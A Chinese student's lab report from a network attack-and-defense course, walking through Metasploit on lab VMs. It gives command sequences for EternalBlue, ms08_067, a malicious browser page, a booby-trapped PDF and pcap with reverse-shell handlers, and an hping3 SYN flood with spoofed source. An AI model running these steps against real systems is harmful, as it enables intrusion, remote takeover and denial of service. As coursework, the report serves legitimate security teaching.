20181224《网络攻防技术》Exp6 MSF基础应用

目录

一、知识点总结

1.MSF攻击方法

  • 主动攻击:扫描主机漏洞,进行攻击
  • 攻击浏览器
  • 攻击其他客户端

2.MSF的六种模块

  • 渗透攻击模块

    Exploit Modules
    

    :攻击漏洞,把

    shellcode
    

    "背"过去

    • 主动渗透攻击:攻击某个系统服务
    • 被动渗透攻击:攻击某个客户端应用
  • 辅助模块

    Auxiliary Modules
    

    :在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提

    • 网络服务的扫描与查点
    • 探查敏感信息泄露、Fuzz测试发掘漏洞
    • 收集登录密码
  • 攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码

  • 空字段模块

    Nop Modules
    
    • 一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,即空指令(滑行区)
    • 由于系统无法精确计算shellcode的起始地址,所以加入nops以增加攻击成功的概率
  • 编码模块

    Encoders
    
    • 改变payload形状,使得不出现特定字符
    • 确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”
  • 后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行

  • 查看六种模块源码目录/usr/share/metasploit-framework/modules

3.MSF的三种用户操作界面

  • msfconsole

    • 查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]

    • 查看设置信息show [options]

    • 查看攻击目标类型show [target]

    • 查找命令

      search
      
      • 查找2016年产生的在windows平台下的漏洞search ms16 type:exploit platform:windows
  • armitage

    • 启动服务器service postgresql start
    • 启动armitagearmitage
  • webgui

二、攻击实例

1、实现ms08_067(由于没有相应的镜像,试验在03上是失败)

靶机:Microsoft Windows 2003

payload : generic/shell_reverse_tcp

实验步骤

  • 靶机和攻击机ping成功(建议改成桥接模式)

image

  • 攻击者试探靶机是否存在ms08_067这个漏洞nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.209.136

    • 建议使用这个步骤,要不会换很多台虚拟机找靶机……(稍微省事一点吧)
    • 查看到靶机的版本号

image

  • 查看到靶机存在ms08_067这个漏洞,有了这个大前提,我们就可以开始攻击了

image

  • 输入msfconsole打开metasploit控制台。

image

  • 查看一下ms08_067这个漏洞在哪里search ms08-067

image

  • 选择漏洞use exploit/windows/smb/ms08_067_netapi
  • 查看设置信息show options

image

  • 设置靶机ipset RHOSTS 192.168.209.136
  • 默认端口为445,使用辅助模块查看445端口是否开放
search portscan # 搜索端口
use auxiliary/scanner/portscan/tcp # 使用漏洞
show options  #显示设置
set RHOSTS 192.168.209.136  # 设置监听者地址
exploit # 攻击

image

image

  • 查看targetsshow targets 也可以看到我们靶机的类型set target 1其实这里不修改也是可以的

  • 查看可用payloadshow payloads选择generic/shell_reverse_tcp

image

  • set payload generic/shell_reverse_tcp
  • 查看设置信息show options

image

  • 设置监听者ipset LHOST 192.168.209.129
  • 设置监听者端口号set LPORT 1224
  • 进行攻击exploit

image

image

由此发现Windows2003不能实现该漏洞的

2、实现ms17_010_eternalblue

靶机:Microsoft Windows 7(10.0.0.168)

payload : generic/shell_reverse_tcp

重新开始

我们首先进入

/usr/share/metasploit-framework/modules/exploits/windows/smb/

选择我们要使用的漏洞

这里我选择的是ms17_010_eternalblue可以看到这里的漏洞是个17年的,还比较新嘿嘿。(原来这就是永恒之蓝)
image

  • 关闭靶机防火墙

  • 查看靶机是否有此漏洞

      msfconsole
      use auxiliary/scanner/smb/smb_ms17_010
      set rhosts 192.168.209.133
      exploit
    
  • 用kali进行攻击

      use exploit/windows/smb/ms17_010_eternalblue
      set payload windows/x64/meterpreter/reverse_tcp
      set rhosts 192.168.209.133(靶机IP)
      exploit
    

image

image

image

  • 连接成功后获取shell,输入ipconfig验证

image

攻击成功!

image

image

尝试更换一个payload : generic/shell_reverse_tcp

image

image

  • 攻击成功

尝试再更换一个payload:windows/x64/meterpreter/bind_tcp

image

  • 攻击成功

3、 一个针对浏览器的攻击ms14_064_ole_code_execution(唯一)

攻击机Kali:192.168.209.129

靶机Win7专业版:192.168.209.133

payload:generic/shell_reverse_tcp

1.攻击机和靶机关闭防火墙,相互ping通

2.msfconsole进入控制台

search ms14_064_ole_code_execution查找漏洞

3.如上图,输入use exploit/windows/smb/ms14_064_ole_code_execution 指令选择漏洞

image

  • Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码。

  • 靶机:Windows7 IE浏览器(192.168.209.133)

  • 具体步骤如下:

    search ms14_064                                            //查看与此漏洞相关的攻击模块
    use exploit/windows/browser/ms14_064_ole_code_execution    //选择攻击模块
    set payload windows/meterpreter/reverse_tcp                //设置攻击载荷
    set SRVHOST 192.168.209.129                                  //设置攻击机IP(kali)
    set AllowPowerShellPrompt 1                                //设置powershell
    set LHOST 192.168.209.129                                    //设置监听地址
    set LPORT 2666                                             //设置监听端口
    show targets                                               //查看此漏洞适用的系统版本
    set target 1                                               //设置win7靶机
    show options                                               //查看设置的参数信息
    exploit
    

    运行后,发现报错,说是此地址不可用或是正在被使用。我猜测是端口的问题,所以我将LPORT重新设置为2666,攻击成功!

image

  • 将生成的URL拷贝至Windows 7虚拟机的IE浏览器中运行

image

  • 回到kali中,看到一些提示会话创建成功的信息,此时用 sessions 查看此时kali中创建的会话

  • 输入sessions -i 4即可获取刚刚我们所创建的那个会话连接

  • 输入ipconfig,获取到靶机的ip

image

4、一个针对客户端的攻击Adobe exploit/windows/fileformat/adobe_cooltype_sing

靶机:Windows 7(192.168.203.133)

攻击机:kali(192.168.203.129)

  • 首先,按照如下代码在kali中生成利用漏洞的pdf文件

    msfconsole          //进入控制台
    search adobe        //搜索与adobe有关的漏洞
    use exploit/windows/fileformat/adobe_cooltype_sing   //选择使用此漏洞
    show payloads
    set payload windows/meterpreter/reverse_tcp     //选择攻击载荷
    show options        //查看需要配置的参数选项
    set LPORT 1224      //设置端口号
    set FILENAME jjh1224.pdf       //设置生成的PDF文件名
    exploit             //生成.pdf文件
    cp /root/.msf4/local/jjh1224.pdf /root/Desktop/jjh1224.pdf   //将PDF木马文件拷贝至Kali Linux桌面
    

image

image

image

  • 将生成的pdf文件拷贝至靶机

  • 按照下面的代码在kali中开启监听

image

use exploit/multi/handler                  //进入监听模块(tcp回连)
set payload windows/meterpreter/bind_tcp   //选择攻击载荷
show options        //查看需要配置的参数选项
set LPORT 1224     //设置端口号
set RHOST 192.168.209.129   //设置监听kali的IP地址
exploit             //开启监听

image

  • 在靶机中用Adobe Reader打开jjh1224.pdf这个文件(我的Windows7是装了wps的,不知道是不是这个原因,到时我的pdf打开会闪退,我卸载了wps。
    image

  • 可以看到,kali成功获得了靶机的ip地址。(最初默认了LHOST4444,没有与前面一致,所以一直没成功,改后攻击成功!!!)

image

5、wireshark exploit/windows/fileformat/wireshark_packet_dect(失败)

靶机:Windows 7(192.168.209.133)

攻击机:kali(192.168.209.129)

  • 首先,按照如下代码在kali中生成利用漏洞的pcap文件

    msfconsole          //进入控制台
    search wireshark        //搜索与wireshark有关的漏洞
    use exploit/windows/fileformat/wireshark_packet_dect   //选择使用此漏洞
    set payload windows/meterpreter/reverse_tcp            //设置tcp反向连接
    show options        //查看需要配置的参数选项
    set LHOST 192.168.209.129    //kali的IP
    set LPORT 1224              //设置端口号
    set FILENAME 20181224.pcap       //设置生成的pcap文件名
    exploit                     //生成.pcap文件
    

image

通过show options我发现该漏洞只支持win32,所以我再次放弃Windows7,重新回归WindowsXP,我们再次运行上面语句。

  • 将生成的pcap文件拷贝至共享文件夹中

  • 按照下面的代码在kali中开启监听

    use exploit/multi/handler                  //进入监听模块
    set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
    show options                //查看需要配置的参数选项
    set LHOST 192.168.209.129    //kali的IP
    set LPORT 1224              //设置监听的端口号
    exploit                     //开启监听
    

image

  • 在靶机中用wireshark打开jjh.pcap这个文件

image

  • 回连失败,没有获得Windows7主机的shell权限

6、成功应用任何一个辅助模块dos/tcp/synflood(唯一)

攻击机Kali:192.168.209.129

靶机Win7:192.168.209.133

漏洞:dos/tcp/synflood(唯一)

1、show auxiliary命令显示所有的辅助模块以及他们的用途

一眼相中TCP SYN FLOODER

image

2、SYN Flood攻击原理

  • SYN:同步序列编号(Synchronize Sequence Numbers),是TCP/IP建立连接时使用的握手信号。
  • SYN Flood利用TCP协议缺陷,通过一定的操作破坏TCP三次握手建立正常连接,占用并耗费系统资源,使得被攻击方资源耗尽,无法及时回应或处理正常的服务请求。
  • 攻击原理:通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,在进行第三次握手时,服务器等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,才将此条目从未连接队列删除。这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求不能进去以及被丢弃,目标系统运行缓慢,引起网络拥堵。

3.Win7下按Ctrl+Alt+Ins启动任务管理器

image

查看性能,监控CPU的利用率,开启Wireshark抓包

image

4.Kali中输入hping3 -q -n -a 1.2.2.4 -S -s 1224 --keep -p 445 --flood 192.168.209.133

其中1.2.2.4为伪造源IP,1224为伪造源端口,445为目的端口,10.1.1.113为目的IP

image

5.查看Win7的任务管理器和wireshark抓包结果

如图,Win7的性能利用率已经达到90%并居高不下。Wireshark抓到的包显示大量源地址为1.2.2.4,在给靶机win7发送请求连接,进行SYN Flood攻击。综上表明已经攻击成功。

image

6.Kali中按Ctrl+C结束攻击

image

查看Win7的任务管理器,性能利用率恢复正常。

image

四、实验总结

1.实验总结与体会

实验的过程中一直困苦于no sessions的问题,有些问题最后解决了,有些问题还在遗留,总体上收获很大。虽然之前也使用过msfconsole,但是这次实验从系统上了解了他的六大模块,实验中用的最多的还是exploit和payload。从这次实验,我也更加感受到nmap的强大,感觉nmap和auxiliary的作用有相似之处。之前在做其他课程的实验也使用过nmap,但是这次却让我实验效率提高。

2.离实战还缺些什么技术

啊,这可是差的远了。实验参考了往届学长学姐的分析和做法,也尝试了新的攻击方法,遇到很多问题,好在成功了。对于msf我还是个小白,距离实战还有很远很远的路。

3.用自己的话解释什么是exploit,payload,encode.

exploit攻击者对靶机进行攻击的这一过程

payload攻击者进行攻击的“武器”

encode编码,使得shellcode改变形状,不具有特定字符

posted on 2021-05-10 00:50  20181224蒋嘉豪  阅读(137)  评论(0编辑  收藏  举报